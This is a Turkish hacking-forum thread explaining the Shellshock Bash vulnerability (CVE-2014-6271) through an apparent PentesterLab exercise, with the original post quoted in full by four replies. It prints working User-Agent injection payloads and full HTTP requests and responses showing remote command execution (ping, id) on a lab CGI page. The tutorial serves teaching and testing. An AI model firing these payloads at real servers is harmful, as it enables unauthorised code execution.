ShellShock Zafiyeti Nedir ?

Zebza

Üye
8 May 2014
105
57
Root☠️
Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.


du3azgg.png






Nasıl İstismar Edilir ?

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;

Xd77SnZ9Vc3A0Jz5AozAUILce-bsbAVUCisfIDJZafhppO8HCma3tuJf3hXHlKz0QBafWgmIkm7JNbxDJWTJ-uLnQbSf2jjj_ZTXK5OMe7u2isqKXHnXjlug6vaggtEi_Q


Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;

pZVjh9S_23St0HyFhtHB2eXjJ3m_iyCzciQ0BRVSSU4XGgkf8lqHURUwFGKAobUH9NjDtll_e0iw0zX6x8DN07ISObBhwM6ywvgtkcXZ7JAxj59gGKb3f2xhZ19v_qImKg



Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’

Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:39:01 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 141 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.963/5.354/11.111 ms

User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’


lfn9r51.gif



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:44:46 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 213 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 3.836/7.601/14.142 ms uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Kaynaklar :
 

MuhammedTr768

Kıdemli Üye
7 Kas 2021
2,933
1,816
31
MyKrallife
Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.


du3azgg.png






Nasıl İstismar Edilir ?

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;

Xd77SnZ9Vc3A0Jz5AozAUILce-bsbAVUCisfIDJZafhppO8HCma3tuJf3hXHlKz0QBafWgmIkm7JNbxDJWTJ-uLnQbSf2jjj_ZTXK5OMe7u2isqKXHnXjlug6vaggtEi_Q


Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;

pZVjh9S_23St0HyFhtHB2eXjJ3m_iyCzciQ0BRVSSU4XGgkf8lqHURUwFGKAobUH9NjDtll_e0iw0zX6x8DN07ISObBhwM6ywvgtkcXZ7JAxj59gGKb3f2xhZ19v_qImKg



Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’

Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:39:01 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 141 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.963/5.354/11.111 ms

User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’


lfn9r51.gif



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:44:46 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 213 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 3.836/7.601/14.142 ms uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Kaynaklar :
Eline sağlık
 

w1sd0m

Katılımcı Üye
28 Mar 2020
699
631
𐱃𐰀𐰢𐰴
Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.


du3azgg.png






Nasıl İstismar Edilir ?

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;

Xd77SnZ9Vc3A0Jz5AozAUILce-bsbAVUCisfIDJZafhppO8HCma3tuJf3hXHlKz0QBafWgmIkm7JNbxDJWTJ-uLnQbSf2jjj_ZTXK5OMe7u2isqKXHnXjlug6vaggtEi_Q


Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;

pZVjh9S_23St0HyFhtHB2eXjJ3m_iyCzciQ0BRVSSU4XGgkf8lqHURUwFGKAobUH9NjDtll_e0iw0zX6x8DN07ISObBhwM6ywvgtkcXZ7JAxj59gGKb3f2xhZ19v_qImKg



Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’

Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:39:01 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 141 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.963/5.354/11.111 ms

User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’


lfn9r51.gif



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:44:46 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 213 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 3.836/7.601/14.142 ms uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Kaynaklar :
Eline sağlık.
Bende az önce shellshock zaafiyetli makine çözümü paylaştım. Denk gelmesi güzel.
 

xzh

Üye
8 Nis 2020
232
84
Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.


du3azgg.png






Nasıl İstismar Edilir ?

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;

Xd77SnZ9Vc3A0Jz5AozAUILce-bsbAVUCisfIDJZafhppO8HCma3tuJf3hXHlKz0QBafWgmIkm7JNbxDJWTJ-uLnQbSf2jjj_ZTXK5OMe7u2isqKXHnXjlug6vaggtEi_Q


Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;

pZVjh9S_23St0HyFhtHB2eXjJ3m_iyCzciQ0BRVSSU4XGgkf8lqHURUwFGKAobUH9NjDtll_e0iw0zX6x8DN07ISObBhwM6ywvgtkcXZ7JAxj59gGKb3f2xhZ19v_qImKg



Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’

Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:39:01 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 141 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.963/5.354/11.111 ms

User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’


lfn9r51.gif



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:44:46 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 213 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 3.836/7.601/14.142 ms uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Kaynaklar :
exploiti anlattigini dusunuyorum.eger oyleyse bu explotin etkisi suan cok dusuk.
 

CasPeRAB

Uzman üye
7 Kas 2021
1,146
461
TR❤AZ
Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.


du3azgg.png






Nasıl İstismar Edilir ?

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;

Xd77SnZ9Vc3A0Jz5AozAUILce-bsbAVUCisfIDJZafhppO8HCma3tuJf3hXHlKz0QBafWgmIkm7JNbxDJWTJ-uLnQbSf2jjj_ZTXK5OMe7u2isqKXHnXjlug6vaggtEi_Q


Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;

pZVjh9S_23St0HyFhtHB2eXjJ3m_iyCzciQ0BRVSSU4XGgkf8lqHURUwFGKAobUH9NjDtll_e0iw0zX6x8DN07ISObBhwM6ywvgtkcXZ7JAxj59gGKb3f2xhZ19v_qImKg



Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’

Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:39:01 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 141 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.963/5.354/11.111 ms

User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.

() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’


lfn9r51.gif



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.

GET /cgi-bin/status HTTP/1.1 Host: 172.16.16.170 User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 05 Nov 2014 13:44:46 GMT Server: Apache/2.2.21 (Unix) DAV/2 PING 172.16.16.1 (172.16.16.1): 56 data bytes 64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Content-Length: 213 — 172.16.16.1 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 3.836/7.601/14.142 ms uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Kaynaklar :
Ellerinize Sağlık Güzel Konu Olmuş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.